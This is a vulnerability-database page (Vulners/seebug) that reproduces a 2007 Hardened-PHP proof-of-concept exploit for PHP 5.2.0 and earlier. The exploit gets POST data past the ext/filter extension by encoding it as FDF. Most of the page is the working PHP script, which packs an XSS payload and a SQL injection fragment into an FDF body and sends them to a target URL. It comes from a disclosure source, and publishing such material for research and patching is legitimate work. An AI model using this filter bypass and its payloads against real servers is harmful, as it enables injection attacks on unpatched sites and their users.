Lucene search
K

PHP <= 5.2.0 ext/filter FDF Post Filter Bypass Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

PHP ext/filter FDF Post Filter Bypass Exploi

Code

                                                &#60;?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //            PHP ext/filtet FDF POST Filter Bybass Exploit           //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die(&#34;REMOVE THIS LINE&#34;);

  // _POST is the array that will be sent to the url in $url
  $_POST = array();
  $_POST[&#39;var1&#39;] = &#34;&#60;script&#62;alert(/XSS/);&#60;/script&#62;&#34;;
  $_POST[&#39;var2&#39;] = &#34; &#39; UNION SELECT &#34;;

  $url = &#34;http://127.0.0.1/info.php&#34;;  
  
  // You do not need to change anything below this
  
  $outfdf = fdf_create();
  foreach ($_POST as $key =&#62; $value) {
    fdf_set_value($outfdf, $key, $value, 0);
  }
  fdf_save($outfdf, &#34;outtest.fdf&#34;);
  fdf_close($outfdf);
  
  $ret = file_get_contents(&#34;outtest.fdf&#34;);
  unlink(&#34;outtest.fdf&#34;);
  
  $params = array(&#39;http&#39; =&#62; array(
      &#39;method&#39; =&#62; &#39;POST&#39;,
      &#39;content&#39; =&#62; $ret,
      &#39;header&#39; =&#62; &#39;Content-Type: application/vnd.fdf&#39;
  ));
  
  $ctx = stream_context_create($params);
  $fp = @fopen($url, &#39;rb&#39;, false, $ctx);
  if (!$fp) {
    die(&#34;Cannot open $url&#34;);
  }
  $response = @stream_get_contents($fp); 

  echo $response;
  echo &#34;\n&#34;;
?&#62; 

# milw0rm.com [2007-03-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
19